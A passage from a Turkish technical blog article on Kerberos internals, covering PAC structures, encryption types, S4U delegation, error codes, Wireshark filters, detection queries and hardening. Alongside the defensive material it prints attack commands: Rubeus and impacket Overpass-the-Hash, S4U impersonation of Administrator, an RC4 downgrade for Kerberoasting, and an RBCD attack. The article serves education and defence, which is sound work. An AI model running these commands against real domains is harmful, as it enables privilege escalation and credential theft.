    ClientId:   FILETIME    // authtime (8 byte)
    NameLength: USHORT
    Name:       WCHAR[]     // ClientName (UTF-16LE)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu buffer, bileti kullanan istemcinin adını ve kimlik doğrulama zamanını içerir. Diamond Ticket analizi yaparken bu alanın gerçek bir değer taşıması tespiti zorlaştırır.&lt;/p&gt;
&lt;h3&gt;5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;UPN_DNS_INFO {
    UpnLength:        USHORT
    UpnOffset:        USHORT
    DnsDomainNameLength: USHORT
    DnsDomainNameOffset: USHORT
    Flags:            ULONG
    // Data: UPN + DnsDomainName (UTF-16LE)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;UPN (User Principal Name) ve DNS domain adını içerir. Bazı servislerin kullanıcı kimliği için kullandığı ek bilgi.&lt;/p&gt;
&lt;h3&gt;5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PAC_SIGNATURE_DATA {
    SignatureType: ULONG  // 0x0000000F = HMAC-SHA1-96
    Signature:    BYTE[]  // 12 veya 16 byte HMAC
    RODCIdentifier: USHORT OPTIONAL
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu checksum, servis hesabının uzun vadeli anahtarıyla hesaplanmıştır. PAC içeriğinin değiştirilmediğini doğrular.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Silver Ticket bağlantısı:&lt;/strong&gt; Saldırgan servis hash&#39;ini biliyorsa, sahte PAC oluşturabilir ve &lt;code&gt;PAC_SERVER_CHECKSUM&lt;/code&gt;&#39;u doğru şekilde hesaplayabilir. Servis, bu checksum&#39;u yalnızca kendi anahtarıyla doğrular.&lt;/p&gt;
&lt;h3&gt;5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)&lt;/h3&gt;
&lt;p&gt;Aynı &lt;code&gt;PAC_SIGNATURE_DATA&lt;/code&gt; formatını kullanır ancak &lt;code&gt;krbtgt&lt;/code&gt; anahtarıyla hesaplanır. PAC_SERVER_CHECKSUM&#39;un checksum&#39;udur (PAC&#39;ın tamamının değil).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Golden/Diamond Ticket bağlantısı:&lt;/strong&gt; Saldırgan &lt;code&gt;krbtgt&lt;/code&gt; hash&#39;ini biliyorsa bu checksum&#39;u yeniden hesaplayabilir ve KDC doğrulamasından geçebilir.&lt;/p&gt;
&lt;h3&gt;5.8 PAC Doğrulama: Neden Çoğu Servis Yapmaz?&lt;/h3&gt;
&lt;p&gt;RFC 4120 PAC doğrulamayı zorunlu kılmaz. Servis, PAC&#39;ı KDC&#39;ye gönderip doğrulatabilir (&lt;code&gt;KERB_VERIFY_PAC_REQUEST&lt;/code&gt; protokolü) ancak bu ek bir RPC çağrısı gerektirir ve performansı düşürür. IIS, MSSQL, SMB gibi yaygın servislerin büyük çoğunluğu PAC doğrulama yapmaz. Bu yüzden Silver Ticket çalışır.&lt;/p&gt;
&lt;p&gt;PAC doğrulamayı etkinleştirmek için:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Lsa&#92;Kerberos&#92;Parameters
ValidateKdcPacSignature = 1  (DWORD)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 6: Şifreleme Türleri ve Güvenlik Analizi&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/kerberos-encryption-types.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;6.1 RFC 3961: Kerberos Şifreleme Çerçevesi&lt;/h3&gt;
&lt;p&gt;RFC 3961, Kerberos şifreleme türleri için genel bir çerçeve tanımlar. Her şifreleme türü için:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Anahtar türetme fonksiyonu (string2key, random2key)&lt;/li&gt;
&lt;li&gt;Şifreleme ve şifre çözme&lt;/li&gt;
&lt;li&gt;Integrity checksum&lt;/li&gt;
&lt;li&gt;Pseudo-random fonksiyonu&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 RC4-HMAC (etype 0x17): Neden Hâlâ Sorunlu?&lt;/h3&gt;
&lt;p&gt;RC4-HMAC, RFC 4757&#39;de tanımlanmıştır ve Microsoft&#39;un Windows 2000 ile eklediği bir uzantıdır. Kritik güvenlik sorunu şudur: &lt;strong&gt;RC4-HMAC için Kerberos anahtarı, NTLM hash&#39;inin kendisidir.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yani:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;NTLM hash&#39;i ele geçiren saldırgan, RC4 ile şifrelenmiş Kerberos TGT/TGS&#39;yi kırabilir&lt;/li&gt;
&lt;li&gt;Pass-the-Hash ile Kerberos arasında doğrudan köprü oluşur (Overpass-the-Hash)&lt;/li&gt;
&lt;li&gt;Kerberoasting, servis hesabının NTLM hash&#39;ini elde etmek için RC4 TGS kırar&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Neden Daha Güvenli?&lt;/h3&gt;
&lt;p&gt;AES Kerberos için RFC 3962&#39;de tanımlanmıştır. &lt;code&gt;string2key&lt;/code&gt; fonksiyonu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;string2key(password, salt, params):
  iter_count = params.iter_count  # default: 4096
  tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
  key = DK(tkey, &amp;quot;kerberos&amp;quot; || 0x00000001 || keylength)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PBKDF2 ile 4096 iterasyon, her tahmin için 4096 SHA-1 hesabı gerektirir. Bu, offline kırmayı RC4&#39;e kıyasla birkaç bin kat yavaşlatır.&lt;/p&gt;
&lt;p&gt;AES için &lt;code&gt;salt&lt;/code&gt; değeri: &lt;code&gt;REALM + username&lt;/code&gt; (ör: &lt;code&gt;CORP.LOCALuser01&lt;/code&gt;). Çevrimdışı kırmada wordlist denemelerinin her biri için bu salt ile PBKDF2 çalıştırılır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AES Golden Ticket:&lt;/strong&gt; AES krbtgt hash&#39;i gerektirir. Bu hash &lt;code&gt;lsadump::dcsync /user:krbtgt&lt;/code&gt; ile elde edilebilir. AES ile oluşturulan Golden Ticket, RC4 ile oluşturulana kıyasla daha az tespit edilir çünkü modern DC&#39;ler RC4 kullanımını loglar.&lt;/p&gt;
&lt;h3&gt;6.4 msDS-SupportedEncryptionTypes&lt;/h3&gt;
&lt;p&gt;Bu Active Directory attribute&#39;u, bir principal&#39;ın (kullanıcı/bilgisayar/servis hesabı) hangi şifreleme türlerini kabul ettiğini bit maskesi olarak tanımlar:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bit  Value        Anlamı
0    0x00000001   DES-CBC-CRC
1    0x00000002   DES-CBC-MD5
2    0x00000004   RC4-HMAC
3    0x00000008   AES128-CTS-HMAC-SHA1-96
7    0x00000080   AES256-CTS-HMAC-SHA1-96  ← en yüksek bit değil!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yaygın değerler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; (set edilmemiş): RC4 varsayılan&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x18&lt;/code&gt; (24): AES-128 + AES-256 — önerilen&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C&lt;/code&gt; (28): RC4 + AES — geçiş dönemi&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1F&lt;/code&gt; (31): Tümü (DES dahil) — tehlikeli&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Kerberoasting downgrade saldırısı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# GenericWrite ile msDS-SupportedEncryptionTypes&#39;ı RC4&#39;e indir
Set-ADUser svcSQLAdmin -Replace @{
    &#39;msDS-SupportedEncryptionTypes&#39; = 4  # Yalnızca RC4
}

# Ardından Kerberoast → hashcat -m 13100 (çok daha hızlı)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Tespit:&lt;/strong&gt; EID 4769&#39;da &lt;code&gt;ticket_encryption_type = 0x17 (RC4)&lt;/code&gt; — hedef hesap AES destekliyorken RC4 isteği şüpheli.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 7: S4U Uzantıları — Protocol Transition ve Delegation&lt;/h2&gt;
&lt;h3&gt;7.1 S4U2Self (MS-SFU §3.1)&lt;/h3&gt;
&lt;p&gt;S4U2Self (Service-for-User-to-Self), bir servis hesabının herhangi bir kullanıcı adına kendi servisi için TGS almasını sağlar. Bu &amp;quot;protocol transition&amp;quot; olarak adlandırılır çünkü Kerberos olmayan bir kimlik doğrulama mekanizmasından (NTLM, sertifika) Kerberos kimlik doğrulamasına geçiş yapılır.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;S4U2Self akışı:
1. Service → KDC: TGS-REQ
   - PA-FOR-USER: { userName: &amp;quot;TargetUser&amp;quot;, userRealm: &amp;quot;CORP.LOCAL&amp;quot; }
   - sname: kendi SPN&#39;i
2. KDC → Service: TGS-REP
   - Ticket: TargetUser için ServiceAccount servisi için ST
   - Ticket&#39;ta TargetUser&#39;ın PAC&#39;ı var
   - FORWARDABLE flag: TrustedToAuthForDelegation varsa set edilir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;S4U2Self&#39;in istismar senaryosu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Rubeus ile S4U2Self
Rubeus.exe s4u /user:svcAccount /password:Password1! &#92;
  /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local &#92;
  /domain:corp.local /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 S4U2Proxy (MS-SFU §3.2)&lt;/h3&gt;
&lt;p&gt;S4U2Proxy, S4U2Self&#39;in devamıdır. Servis hesabı, S4U2Self&#39;den aldığı &amp;quot;forwardable&amp;quot; bilet ile başka bir servise kullanıcı adına erişebilir.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;S4U2Proxy akışı:
1. Service → KDC: TGS-REQ
   - additional-tickets[0]: S4U2Self&#39;ten alınan ST (FORWARDABLE)
   - sname: hedef servisin SPN&#39;i
2. KDC → Service: TGS-REP
   - Ticket: TargetUser için TargetService için ST
3. Service → TargetService: AP-REQ
   - Ticket: adım 2&#39;deki ST
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.3 Constrained vs Unconstrained Delegation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unconstrained Delegation (&lt;code&gt;userAccountControl: TRUSTED_FOR_DELEGATION&lt;/code&gt;):&lt;/strong&gt;&lt;br /&gt;
Servis, kullanıcının TGT&#39;sini direkt alır ve istediği servise iletir. KDC, TGT&#39;yi AP-REQ içinde ek bilet olarak gönderir. Saldırı: Unconstrained delegation flag&#39;i olan bir servisi compromise ederek bağlanan kullanıcıların (Domain Admin dahil) TGT&#39;lerini çalmak.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Unconstrained delegation flag&#39;li servis hesapları
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Constrained Delegation (&lt;code&gt;msDS-AllowedToDelegateTo&lt;/code&gt;):&lt;/strong&gt;&lt;br /&gt;
Servis yalnızca belirtilen SPN listesine S4U2Proxy yapabilir. Daha güvenli ancak yanlış yapılandırılırsa istismar edilebilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Resource-Based Constrained Delegation (RBCD):&lt;/strong&gt;&lt;br /&gt;
Hedef kaynak, hangi hesapların kendisi adına delegation yapabileceğini kontrol eder (&lt;code&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/code&gt;). &lt;code&gt;GenericWrite&lt;/code&gt; yetkisi olan bir saldırgan bu attribute&#39;u değiştirerek privilege escalation yapabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# RBCD saldırısı
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
  &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)&amp;quot;)
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity &amp;quot;TargetComputer&amp;quot; -PrincipalsAllowedToDelegateToAccount AttackerMachine$
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 8: KRB-ERROR Mesajları ve Hata Analizi&lt;/h2&gt;
&lt;p&gt;Kerberos hata mesajları, hem troubleshooting hem de güvenlik açısından kritiktir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KRB_ERR_NONE                    = 0
KDC_ERR_NAME_EXP                = 1   -- Principal expired
KDC_ERR_SERVICE_EXP             = 2   -- Service expired
KDC_ERR_BAD_PVNO               = 3   -- Bad Kerberos version
KDC_ERR_C_OLD_MAST_KVNO        = 4   -- Old master key version
KDC_ERR_S_OLD_MAST_KVNO        = 5   -- Old service key version
KDC_ERR_C_PRINCIPAL_UNKNOWN    = 6   -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN    = 7   -- Server not found in DB (wrong SPN!)
KDC_ERR_PRINCIPAL_NOT_UNIQUE   = 8   -- Multiple principals
KDC_ERR_NULL_KEY               = 9   -- No key for principal
KDC_ERR_CANNOT_POSTDATE        = 10  -- Postdating not allowed
KDC_ERR_NEVER_VALID            = 11  -- Invalid time range
KDC_ERR_POLICY                 = 12  -- KDC policy violation
KDC_ERR_BADOPTION              = 13  -- Invalid KDC option
KDC_ERR_ETYPE_NOSUPP           = 14  -- No supported etype
KDC_ERR_SUMTYPE_NOSUPP         = 15  -- No supported checksum
KDC_ERR_PADATA_TYPE_NOSUPP     = 16  -- No supported PA-DATA type
KDC_ERR_TRTYPE_NOSUPP          = 17  -- No supported transit type
KDC_ERR_CLIENT_REVOKED         = 18  -- Client&#39;s creds revoked (disabled account!)
KDC_ERR_SERVICE_REVOKED        = 19  -- Service&#39;s creds revoked
KDC_ERR_TGT_REVOKED            = 20  -- TGT has been revoked
KDC_ERR_CLIENT_NOTYET          = 21  -- Client not yet valid
KDC_ERR_SERVICE_NOTYET         = 22  -- Service not yet valid
KDC_ERR_KEY_EXPIRED            = 23  -- Password has expired
KDC_ERR_PREAUTH_FAILED         = 24  -- Pre-auth info was incorrect
KDC_ERR_PREAUTH_REQUIRED       = 25  -- Pre-auth required
KDC_ERR_SERVER_NOMATCH         = 26  -- Server and ticket don&#39;t match
KDC_ERR_MUST_USE_USER2USER     = 27  -- Must use user-to-user auth
KDC_ERR_PATH_NOT_ACCEPTED      = 28  -- Referral path rejected
KDC_ERR_SVC_UNAVAILABLE        = 29  -- Service unavailable
KRB_AP_ERR_BAD_INTEGRITY       = 31  -- Integrity check failed (wrong key!)
KRB_AP_ERR_TKT_EXPIRED         = 32  -- Ticket expired
KRB_AP_ERR_TKT_NYV             = 33  -- Ticket not yet valid
KRB_AP_ERR_REPEAT               = 34  -- Repeated request (replay!)
KRB_AP_ERR_NOT_US              = 35  -- Ticket not for us
KRB_AP_ERR_BADMATCH            = 36  -- Ticket/authenticator mismatch
KRB_AP_ERR_SKEW                = 37  -- Clock skew too great (&amp;gt;5 min!)
KRB_AP_ERR_NOKEY               = 38  -- No key available
KRB_AP_ERR_MUT_FAIL            = 39  -- Mutual auth failed
KRB_AP_ERR_BADDIRECTION        = 40  -- Wrong direction
KRB_AP_ERR_METHOD              = 41  -- Alternative method required
KRB_AP_ERR_BADSEQ              = 42  -- Incorrect sequence number
KRB_AP_ERR_INAPP_CKSUM        = 43  -- Inappropriate checksum
KRB_AP_PATH_NOT_ACCEPTED       = 44  -- Path rejected
KRB_ERR_RESPONSE_TOO_BIG       = 52  -- Response too big for UDP (use TCP)
KRB_ERR_GENERIC                = 60  -- Generic error
KRB_ERR_FIELD_TOOLONG          = 61  -- Field too long
KDC_ERROR_CLIENT_NOT_TRUSTED   = 62  -- Client not trusted (PKINIT)
KDC_ERR_WRONG_REALM            = 68  -- Wrong realm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Pentest için kritik hatalar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KDC_ERR_PREAUTH_REQUIRED (25)&lt;/code&gt;: Normal — hesap pre-auth istiyor&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KDC_ERR_PREAUTH_FAILED (24)&lt;/code&gt;: Yanlış şifre&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KDC_ERR_CLIENT_REVOKED (18)&lt;/code&gt;: Hesap devre dışı&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KRB_AP_ERR_SKEW (37)&lt;/code&gt;: Saat senkronizasyonu sorunu (Kerberos ±5 dk tolerans ister)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KDC_ERR_S_PRINCIPAL_UNKNOWN (7)&lt;/code&gt;: SPN yok — Kerberoast için geçersiz SPN&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 9: Wireshark ile Kerberos Trafik Analizi&lt;/h2&gt;
&lt;h3&gt;9.1 Filtreleme&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-wireshark&quot;&gt;# Tüm Kerberos trafiği
kerberos

# Mesaj türüne göre
kerberos.msg_type == 10   # AS-REQ
kerberos.msg_type == 11   # AS-REP
kerberos.msg_type == 12   # TGS-REQ
kerberos.msg_type == 13   # TGS-REP
kerberos.msg_type == 14   # AP-REQ
kerberos.msg_type == 15   # AP-REP
kerberos.msg_type == 30   # KRB-ERROR

# Hata koduna göre
kerberos.error_code == 25   # PREAUTH_REQUIRED
kerberos.error_code == 24   # PREAUTH_FAILED
kerberos.error_code == 18   # CLIENT_REVOKED
kerberos.error_code == 37   # Clock skew

# Belirli bir kullanıcı
kerberos.CNameString == &amp;quot;user01&amp;quot;

# RC4 kullanımı (şüpheli)
kerberos.etype == 23

# Belirli SPN
kerberos.SNameString contains &amp;quot;krbtgt&amp;quot;
kerberos.SNameString contains &amp;quot;cifs&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.2 AS-REQ Anatomisi — Wireshark&#39;ta Ne Görürsünüz?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Kerberos
  pvno: 5
  msg-type: krb-as-req (10)
  padata: 2 items
    PA-DATA pA-ENC-TIMESTAMP (2)
      padata-type: pA-ENC-TIMESTAMP (2)
      padata-value: 3022a003020112a11b3019...
        EncryptedData
          etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
          cipher: [256-bit encrypted timestamp]
    PA-DATA pA-PAC-REQUEST (128)
      padata-type: pA-PAC-REQUEST (128)
      padata-value: 3005a0030101ff  -- include-pac: TRUE
  req-body
    kdc-options: 0x40810010
      .... .... .... .... ..0. ....  -- not renewable
      ...0 .... .... .... .... ....  -- not forwardable
    cname: user01
    realm: CORP.LOCAL
    sname: krbtgt/CORP.LOCAL
    till: 2037-09-13 02:48:05 (max time)
    nonce: 0x1234ABCD
    etype: 18 17 11 3 1 2  -- preferred etypes in order
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Pre-auth yoksa (AS-REP Roasting hedefi):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;padata: 0 items  -- NO PA-ENC-TIMESTAMP
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.3 TGS-REQ İçinde Kerberoasting Tespiti&lt;/h3&gt;
&lt;p&gt;Wireshark&#39;ta şüpheli TGS-REQ:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerberos.SNameString != &amp;quot;krbtgt&amp;quot;   # Service ticket (normal olabilir)
kerberos.etype == 23               # RC4 isteniyor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bunları birleştirdiğinizde: RC4 ile şifreli TGS isteği, servis hesabı için → Kerberoasting girişimi olabilir.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 10: Tespit ve Savunma&lt;/h2&gt;
&lt;h3&gt;10.1 Windows Event ID Referansı&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;EID 4768 — Kerberos Authentication Ticket (TGT) Requested
  Alanlar: Account Name, Supplied Realm, Service Name, Ticket Options,
           Result Code, Ticket Encryption Type, Pre-Authentication Type,
           IP Address, Certificate Issuer, Certificate Serial Number

EID 4769 — Kerberos Service Ticket (TGS) Requested
  Alanlar: Account Name, Service Name, Ticket Options,
           Ticket Encryption Type, Failure Code, Transited Services

EID 4770 — Kerberos Service Ticket Renewed
  Yenileme isteği

EID 4771 — Kerberos Pre-Authentication Failed
  Account Name, IP Address, Failure Code
  Failure Code 0x18 = yanlış şifre

EID 4672 — Special Logon
  Yeni bir logon oturumuna Administrator veya DA hakları atandı
  Golden/Silver Ticket başarılı olunca bu üretilir
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10.2 Golden Ticket Tespiti&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# EID 4769 + 4768 korelasyonu
# Golden Ticket tespiti için:
# 1. EID 4768 yok ama EID 4769 var (TGT olmadan TGS isteği)
# 2. EID 4768&#39;de EncryptionType = 0x17 (RC4) — DC AES kullanıyor ama RC4 TGT
# 3. EID 4769&#39;da anormal AccountDomain
# 4. Ticket süresi anormal (örneğin 10 yıl)

# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == &amp;quot;0x17&amp;quot;
| where ServiceName !endswith &amp;quot;$&amp;quot;
| where AccountDomain == &amp;quot;CORP.LOCAL&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Davranışsal anomaliler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;authtime&lt;/code&gt; çok eski (Golden Ticket oluşturulurken statik değer girildi)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;renew-till&lt;/code&gt; 10 yıl sonra&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cname&lt;/code&gt; ile logon gören kullanıcı arasında uyumsuzluk&lt;/li&gt;
&lt;li&gt;Bilinen olmayan bir client IP&#39;sinden gelen bilet&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.3 Kerberoasting Tespiti&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# EID 4769 - RC4 şifreli TGS isteği (servis hesabı için)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == &amp;quot;0x17&amp;quot;   // RC4
| where ServiceName != &amp;quot;krbtgt&amp;quot;
| where ServiceName !endswith &amp;quot;$&amp;quot;
| where IpAddress != &amp;quot;-&amp;quot;
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ &amp;gt; 5   // Çok sayıda istek = otomasyon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Özellikle dikkat edilecek:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tek bir kaynak IP&#39;den çok sayıda TGS isteği&lt;/li&gt;
&lt;li&gt;Farklı servis hesapları için yoğun TGS talebi&lt;/li&gt;
&lt;li&gt;AES destekleyen ortamda RC4 ile TGS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.4 AS-REP Roasting Tespiti&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# EID 4768 - Pre-auth type = 0 (pre-auth yok)
SecurityEvent
| where EventID == 4768
| where PreAuthType == &amp;quot;0&amp;quot;   // No pre-auth
| where Status == &amp;quot;0x0&amp;quot;      // Başarılı
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Önlem:&lt;/strong&gt; &lt;code&gt;userAccountControl&lt;/code&gt; attribute&#39;unda &lt;code&gt;DONT_REQUIRE_PREAUTH&lt;/code&gt; flag&#39;ini kaldır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# DONT_REQUIRE_PREAUTH flag&#39;i olan hesapları bul
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Flag&#39;i kaldır
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10.5 Savunma Tavsiyeleri&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;krbtgt Hesabı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# krbtgt şifresini döngüsel olarak sıfırla (Golden Ticket&#39;ı geçersiz kılar)
# Önemli: İki kez sıfırlanmalı (her DC&#39;nin eski anahtarı temizlemesi için)
# Araç: New-KrbtgtKeys.ps1 (Microsoft)

# Read-only DC&#39;lerin kendi krbtgt hesapları var
# RODC compromise → yalnızca RODC krbtgt sıfırla
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Şifreleme Politikası:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GPO: Computer Config → Windows Settings → Security Settings →
     Local Policies → Security Options →
     &amp;quot;Network security: Configure encryption types allowed for Kerberos&amp;quot;
Önerilen: AES128, AES256 (DES ve RC4&#39;ü devre dışı bırak)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;PAC Doğrulama:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Lsa&#92;Kerberos&#92;Parameters
ValidateKdcPacSignature = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Defender for Identity (MDI/ATA) Uyarıları:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Forged PAC using encryption downgrade activity&lt;/li&gt;
&lt;li&gt;Kerberos Golden Ticket activity&lt;/li&gt;
&lt;li&gt;Kerberos Silver Ticket activity&lt;/li&gt;
&lt;li&gt;Overpass-the-Hash activity&lt;/li&gt;
&lt;li&gt;Suspected Kerberoasting activity&lt;/li&gt;
&lt;li&gt;Account enumeration reconnaissance using Kerberos queries&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 11: CVE&#39;ler ve Önemli Güvenlik Açıkları&lt;/h2&gt;
&lt;h3&gt;MS14-068 (CVE-2014-6324)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Etki:&lt;/strong&gt; Herhangi bir domain kullanıcısı → Domain Admin&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mekanizma:&lt;/strong&gt; KDC, checksum tipi 0xFFFFFFFF (MD5, imzasız) kabul ediyordu. Saldırgan:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Geçerli bir TGT alır&lt;/li&gt;
&lt;li&gt;PAC&#39;ı modify eder — GroupIds&#39;e Domain Admin RID ekler&lt;/li&gt;
&lt;li&gt;Checksum tipi olarak MD5 (imzasız) kullanır&lt;/li&gt;
&lt;li&gt;KDC, yanlış checksum tipini reddedecek yerde kabul etti&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Düzeltme:&lt;/strong&gt; KB3011780 (Kasım 2014). Güncel sistemlerde yoktur ancak 2014 öncesi unpatched sistemlerde hâlâ istismar edilebilir.&lt;/p&gt;
&lt;h3&gt;noPac (CVE-2021-42287 + CVE-2021-42278)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Etki:&lt;/strong&gt; Domain kullanıcısı → Domain Admin (hızla)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mekanizma:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CVE-2021-42278: Machine account (sAMAccountName) Domain Controller ismiyle aynı yapılabilir&lt;/li&gt;
&lt;li&gt;CVE-2021-42287: KDC, TGS isteğinde sAMAccountName bulamazsa &lt;code&gt;$&lt;/code&gt; ekleyerek tekrar arar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kombine saldırı:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Machine account oluştur: &lt;code&gt;sAMAccountName = DC01&lt;/code&gt; (DC&#39;nin ismiyle aynı)&lt;/li&gt;
